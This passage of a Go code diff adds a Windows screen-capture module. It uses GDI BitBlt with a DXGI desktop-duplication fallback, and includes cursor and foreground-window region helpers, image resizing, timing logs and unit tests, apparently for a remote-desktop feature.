func cursorROI() (image.Rectangle, bool) {
return image.Rectangle{}, false
}
func focusWindowROI() (image.Rectangle, bool) {
return image.Rectangle{}, false
}
@@ -0,0 +1,51 @@
//go:build windows
package capture
import (
"image"
"unsafe"
)
var (
procGetForegroundWindowROI = user32.NewProc("GetForegroundWindow")
procGetWindowRectROI = user32.NewProc("GetWindowRect")
)
type winRect struct {
left int32
top int32
right int32
bottom int32
}
func cursorROI() (image.Rectangle, bool) {
x, y, visible := getCursorPosition()
if !visible {
return image.Rectangle{}, false
}
const cursorBox = 48
half := cursorBox / 2
r := image.Rect(int(x)-half, int(y)-half, int(x)+half, int(y)+half)
if r.Dx() <= 0 || r.Dy() <= 0 {
return image.Rectangle{}, false
}
return r, true
}
func focusWindowROI() (image.Rectangle, bool) {
hwnd, _, _ := procGetForegroundWindowROI.Call()
if hwnd == 0 {
return image.Rectangle{}, false
}
var wr winRect
ret, _, _ := procGetWindowRectROI.Call(hwnd, uintptr(unsafe.Pointer(&wr)))
if ret == 0 {
return image.Rectangle{}, false
}
r := image.Rect(int(wr.left), int(wr.top), int(wr.right), int(wr.bottom))
if r.Dx() <= 0 || r.Dy() <= 0 {
return image.Rectangle{}, false
}
return r, true
}
@@ -0,0 +1,477 @@
//go:build windows
package capture
import (
"image"
"log"
"os"
"strconv"
"sync"
"sync/atomic"
"syscall"
"time"
"unsafe"
)
var (
user32 = syscall.NewLazyDLL("user32.dll")
gdi32 = syscall.NewLazyDLL("gdi32.dll")
shcore = syscall.NewLazyDLL("shcore.dll")
kernel32 = syscall.NewLazyDLL("kernel32.dll")
procGetDC = user32.NewProc("GetDC")
procReleaseDC = user32.NewProc("ReleaseDC")
procGetSystemMetrics = user32.NewProc("GetSystemMetrics")
procCreateCompatibleDC = gdi32.NewProc("CreateCompatibleDC")
procCreateDCW = gdi32.NewProc("CreateDCW")
procDeleteDC = gdi32.NewProc("DeleteDC")
procCreateCompatibleBitmap = gdi32.NewProc("CreateCompatibleBitmap")
procCreateDIBSection = gdi32.NewProc("CreateDIBSection")
procDeleteObject = gdi32.NewProc("DeleteObject")
procSelectObject = gdi32.NewProc("SelectObject")
procBitBlt = gdi32.NewProc("BitBlt")
procSetProcessDpiAwareness = shcore.NewProc("SetProcessDpiAwareness")
)
const (
SM_CXSCREEN = 0
SM_CYSCREEN = 1
SM_XVIRTUALSCREEN = 76
SM_YVIRTUALSCREEN = 77
SM_CXVIRTUALSCREEN = 78
SM_CYVIRTUALSCREEN = 79
SRCCOPY = 0x00CC0020
CAPTUREBLT = 0x40000000
BI_RGB = 0
DIB_RGB_COLORS = 0
PROCESS_PER_MONITOR_DPI_AWARE = 2
)
type bitmapInfoHeader struct {
biSize uint32
biWidth int32
biHeight int32
biPlanes uint16
biBitCount uint16
biCompression uint32
biSizeImage uint32
biXPelsPerMeter int32
biYPelsPerMeter int32
biClrUsed uint32
biClrImportant uint32
}
type bitmapInfo struct {
bmiHeader bitmapInfoHeader
redMask uint32
greenMask uint32
blueMask uint32
alphaMask uint32
}
func getSystemMetric(i int32) int32 {
r, _, _ := procGetSystemMetrics.Call(uintptr(i))
return int32(r)
}
func getDC(hwnd uintptr) uintptr {
dc, _, _ := procGetDC.Call(hwnd)
return dc
}
func releaseDC(hwnd, hdc uintptr) {
_, _, _ = procReleaseDC.Call(hwnd, hdc)
}
func createCompatibleDC(hdc uintptr) uintptr {
r, _, _ := procCreateCompatibleDC.Call(hdc)
return r
}
func createDisplayDC() uintptr {
displayName := syscall.StringToUTF16Ptr("DISPLAY")
r, _, _ := procCreateDCW.Call(uintptr(unsafe.Pointer(displayName)), 0, 0, 0)
return r
}
func deleteDC(hdc uintptr) {
_, _, _ = procDeleteDC.Call(hdc)
}
func createCompatibleBitmap(hdc uintptr, w, h int32) uintptr {
r, _, _ := procCreateCompatibleBitmap.Call(hdc, uintptr(w), uintptr(h))
return r
}
func createDIBSection(hdc uintptr, bmi *bitmapInfo, usage uint32, bits *unsafe.Pointer) uintptr {
r, _, _ := procCreateDIBSection.Call(hdc, uintptr(unsafe.Pointer(bmi)), uintptr(usage), uintptr(unsafe.Pointer(bits)), 0, 0)
return r
}
func deleteObject(obj uintptr) {
_, _, _ = procDeleteObject.Call(obj)
}
func selectObject(hdc, hgdiobj uintptr) uintptr {
r, _, _ := procSelectObject.Call(hdc, hgdiobj)
return r
}
func bitBlt(hdcDest uintptr, x, y, cx, cy int32, hdcSrc uintptr, x1, y1 int32, rop uint32) bool {
r, _, _ := procBitBlt.Call(hdcDest, uintptr(x), uintptr(y), uintptr(cx), uintptr(cy), hdcSrc, uintptr(x1), uintptr(y1), uintptr(rop))
return r != 0
}
func bitBltWithFallback(hdcMem, hdcScreen uintptr, bounds image.Rectangle, w, h int) bool {
if bitBlt(hdcMem, 0, 0, int32(w), int32(h), hdcScreen, int32(bounds.Min.X), int32(bounds.Min.Y), SRCCOPY|CAPTUREBLT) {
return true
}
return bitBlt(hdcMem, 0, 0, int32(w), int32(h), hdcScreen, int32(bounds.Min.X), int32(bounds.Min.Y), SRCCOPY)
}
var dpiAwareOnce sync.Once
func setDPIAware() {
dpiAwareOnce.Do(func() {
if procSetProcessDpiAwareness.Find() == nil {
procSetProcessDpiAwareness.Call(uintptr(PROCESS_PER_MONITOR_DPI_AWARE))
}
})
}
var (
captureCount atomic.Int64
bitbltNs atomic.Int64
convertNs atomic.Int64
lastCaptureLogNs atomic.Int64
scaleOnce sync.Once
cachedScale float64
state capState
captureMu sync.Mutex
)
var captureDisplayFn = func(display int) (*image.RGBA, error) {
if useDesktopDuplication() {
img, err := captureDisplayDXGI(display)
if err == nil && img != nil {
return img, nil
}
if err != nil {
log.Printf("capture: dxgi duplication failed: %v (falling back to bitblt)", err)
}
}
return captureDisplayBitBlt(display)
}
func captureDisplayBitBlt(display int) (*image.RGBA, error) {
captureMu.Lock()
defer captureMu.Unlock()
setDPIAware()
maxDisplays := displayCount()
if display < 0 || display >= maxDisplays {
display = 0
}
mons := monitorList()
if display >= len(mons) {
display = 0
}
mon := mons[display]
bounds := resolveBounds(mon)
srcW := bounds.Dx()
srcH := bounds.Dy()
if srcW <= 0 || srcH <= 0 {
ResetMonitorCache()
mons = monitorList()
if display >= len(mons) {
display = 0
}
if display < len(mons) {
mon = mons[display]
bounds = resolveBounds(mon)
srcW = bounds.Dx()
srcH = bounds.Dy()
}
if srcW <= 0 || srcH <= 0 {
return nil, syscall.EINVAL
}
}
userScale := captureScale()
dstW := int(float64(srcW) * userScale)
dstH := int(float64(srcH) * userScale)
if dstW <= 0 || dstH <= 0 {
dstW = srcW
dstH = srcH
}
capW := srcW
capH := srcH
hdcScreen := createDisplayDC()
fromCreateDC := hdcScreen != 0
if hdcScreen == 0 {
hdcScreen = getDC(0)
}
if hdcScreen == 0 {
return nil, syscall.EINVAL
}
closeDC := func() {
if hdcScreen == 0 {
return
}
if fromCreateDC {
deleteDC(hdcScreen)
} else {
releaseDC(0, hdcScreen)
}
hdcScreen = 0
}
defer closeDC()
if capW <= 0 || capH <= 0 {
return nil, syscall.EINVAL
}
captureWithDC := func() (*image.RGBA, time.Duration, time.Duration, time.Duration, error) {
hdcMem, _, buf, stride, err := state.ensure(hdcScreen, capW, capH)
if err != nil {
return nil, 0, 0, 0, err
}
bitStart := time.Now()
if !bitBltWithFallback(hdcMem, hdcScreen, bounds, capW, capH) {
state.reset()
hdcMem, _, buf, stride, err = state.ensure(hdcScreen, capW, capH)
if err != nil {
return nil, 0, 0, 0, err
}
if !bitBltWithFallback(hdcMem, hdcScreen, bounds, capW, capH) {
return nil, 0, 0, 0, syscall.EINVAL
}
}
bitDur := time.Since(bitStart)
cursorDrawn := DrawCursorOnDC(hdcMem, bounds)
if len(buf) == 0 {
return nil, 0, 0, 0, syscall.EINVAL
}
dibDur := time.Duration(0)
convStart := time.Now()
swapRB(buf)
img := &image.RGBA{Pix: buf, Stride: stride, Rect: image.Rect(0, 0, capW, capH)}
convDur := time.Since(convStart)
if !cursorDrawn {
DrawCursorOnImage(img, bounds)
}
if dstW != capW || dstH != capH {
img = resizeNearest(img, dstW, dstH)
} else {
// Detach from the reusable DIB buffer to avoid concurrent mutation during encode.
stable := image.NewRGBA(img.Rect)
copy(stable.Pix, img.Pix)
img = stable
}
return img, bitDur, dibDur, convDur, nil
}
img, bitDur, dibDur, convDur, err := captureWithDC()
if err != nil && fromCreateDC {
closeDC()
hdcScreen = getDC(0)
fromCreateDC = false
if hdcScreen == 0 {
return nil, err
}
img, bitDur, dibDur, convDur, err = captureWithDC()
}
if err != nil {
return nil, err
}
logCaptureTimings(bitDur, dibDur, convDur)
return img, nil
}
func clampToVirtual(bounds image.Rectangle) image.Rectangle {
vx := int(getSystemMetric(SM_XVIRTUALSCREEN))
vy := int(getSystemMetric(SM_YVIRTUALSCREEN))
vw := int(getSystemMetric(SM_CXVIRTUALSCREEN))
vh := int(getSystemMetric(SM_CYVIRTUALSCREEN))
if vw <= 0 || vh <= 0 {
return bounds
}
virtual := image.Rect(vx, vy, vx+vw, vy+vh)
inter := bounds.Intersect(virtual)
if inter.Empty() {
return bounds
}
return inter
}
func resolveBounds(mon monitorDesc) image.Rectangle {
virtualW := int(getSystemMetric(SM_CXVIRTUALSCREEN))
virtualH := int(getSystemMetric(SM_CYVIRTUALSCREEN))
if virtualW > 0 && virtualH > 0 {
return clampToVirtual(mon.rect)
}
return captureBounds(mon)
}
func captureBounds(mon monitorDesc) image.Rectangle {
bounds := mon.rect
if mon.physW > 0 && mon.physH > 0 {
phys := image.Rect(mon.posX, mon.posY, mon.posX+mon.physW, mon.posY+mon.physH)
if phys.Dx() > 0 && phys.Dy() > 0 {
if mon.scale != 1.0 || phys.Dx() != bounds.Dx() || phys.Dy() != bounds.Dy() {
bounds = phys
}
}
}
return bounds
}
func swapRB(pix []byte) {
for i := 0; i+3 < len(pix); i += 4 {
pix[i], pix[i+2] = pix[i+2], pix[i]
}
}
func logCaptureTimings(bitDur, dibDur, convDur time.Duration) {
captureCount.Add(1)
bitbltNs.Add(bitDur.Nanoseconds())
convertNs.Add(convDur.Nanoseconds())
nowNs := time.Now().UnixNano()
last := lastCaptureLogNs.Load()
if last != 0 && time.Duration(nowNs-last) < 5*time.Second {
return
}
if !lastCaptureLogNs.CompareAndSwap(last, nowNs) {
return
}
frames := captureCount.Swap(0)
if frames == 0 {
return
}
avg := func(totalNs atomic.Int64) float64 {
return float64(totalNs.Swap(0)) / 1e6 / float64(frames)
}
bitAvg := avg(bitbltNs)
convAvg := avg(convertNs)
log.Printf("capture: win bitblt avg bitblt=%.2fms convert=%.2fms frames=%d", bitAvg, convAvg, frames)
}
func resizeNearest(src *image.RGBA, w, h int) *image.RGBA {
dst := image.NewRGBA(image.Rect(0, 0, w, h))
srcW := src.Bounds().Dx()
srcH := src.Bounds().Dy()
for y := 0; y < h; y++ {
sy := y * srcH / h
sp := sy * src.Stride
dp := y * dst.Stride
for x := 0; x < w; x++ {
sx := x * srcW / w
s := sp + sx*4
d := dp + x*4
dst.Pix[d+0] = src.Pix[s+0]
dst.Pix[d+1] = src.Pix[s+1]
dst.Pix[d+2] = src.Pix[s+2]
dst.Pix[d+3] = src.Pix[s+3]
}
}
return dst
}
type capState struct {
mu sync.Mutex
hdcMem uintptr
hbmp uintptr
buf []byte
stride int
w int
h int
bits unsafe.Pointer
}
func (s *capState) ensure(hdcScreen uintptr, w, h int) (uintptr, uintptr, []byte, int, error) {
s.mu.Lock()
defer s.mu.Unlock()
if s.hdcMem == 0 {
s.hdcMem = createCompatibleDC(hdcScreen)
if s.hdcMem == 0 {
return 0, 0, nil, 0, syscall.EINVAL
}
}
if s.w != w || s.h != h || s.hbmp == 0 {
bmi := bitmapInfo{
bmiHeader: bitmapInfoHeader{
biSize: uint32(unsafe.Sizeof(bitmapInfoHeader{})),
biWidth: int32(w),
biHeight: -int32(h),
biPlanes: 1,
biBitCount: 32,
biCompression: BI_RGB,
},
}
var bits unsafe.Pointer
newBmp := createDIBSection(s.hdcMem, &bmi, DIB_RGB_COLORS, &bits)
if newBmp == 0 || bits == nil {
return 0, 0, nil, 0, syscall.EINVAL
}
selectObject(s.hdcMem, newBmp)
if s.hbmp != 0 {
deleteObject(s.hbmp)
}
s.hbmp = newBmp
s.w = w
s.h = h
s.stride = w * 4
s.bits = bits
s.buf = unsafe.Slice((*byte)(bits), s.stride*h)
}
return s.hdcMem, s.hbmp, s.buf, s.stride, nil
}
func (s *capState) reset() {
s.mu.Lock()
defer s.mu.Unlock()
if s.hbmp != 0 {
deleteObject(s.hbmp)
s.hbmp = 0
}
if s.hdcMem != 0 {
deleteDC(s.hdcMem)
s.hdcMem = 0
}
s.buf = nil
s.stride = 0
s.w = 0
s.h = 0
s.bits = nil
}
func captureScale() float64 {
scaleOnce.Do(func() {
s := 1.0
if env := os.Getenv("OVERLORD_RD_SCALE"); env != "" {
if v, err := strconv.ParseFloat(env, 64); err == nil && v > 0.2 && v <= 1.5 {
s = v
}
}
cachedScale = s
})
return cachedScale
}
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,62 @@
//go:build windows
package capture
import (
"image"
"testing"
)
func TestDesktopDuplicationToggleResetsState(t *testing.T) {
dxgiState.mu.Lock()
dxgiState.display = 0
dxgiState.outputName = "test-output"
dxgiState.bounds = image.Rect(1, 2, 3, 4)
dxgiState.mu.Unlock()
SetDesktopDuplication(true)
if !useDesktopDuplication() {
t.Fatalf("expected desktop duplication to be enabled")
}
dxgiState.mu.Lock()
if dxgiState.display != -1 {
dxgiState.mu.Unlock()
t.Fatalf("expected display reset to -1, got %d", dxgiState.display)
}
if dxgiState.outputName != "" {
dxgiState.mu.Unlock()
t.Fatalf("expected outputName reset, got %q", dxgiState.outputName)
}
if dxgiState.bounds != (image.Rectangle{}) {
dxgiState.mu.Unlock()
t.Fatalf("expected bounds reset, got %+v", dxgiState.bounds)
}
dxgiState.mu.Unlock()
SetDesktopDuplication(false)
if useDesktopDuplication() {
t.Fatalf("expected desktop duplication to be disabled")
}
}
func TestCaptureDisplayDXGI(t *testing.T) {
if displayCount() == 0 {
t.Skip("no displays detected")
}
SetDesktopDuplication(true)
t.Cleanup(func() { SetDesktopDuplication(false) })
img, err := captureDisplayDXGI(0)
if err != nil {
t.Fatalf("dxgi capture failed: %v", err)
}
if img == nil {
t.Fatalf("dxgi capture returned nil image")
}
bounds := img.Bounds()
if bounds.Dx() <= 0 || bounds.Dy() <= 0 {
t.Fatalf("invalid capture bounds: %dx%d", bounds.Dx(), bounds.Dy())
}
}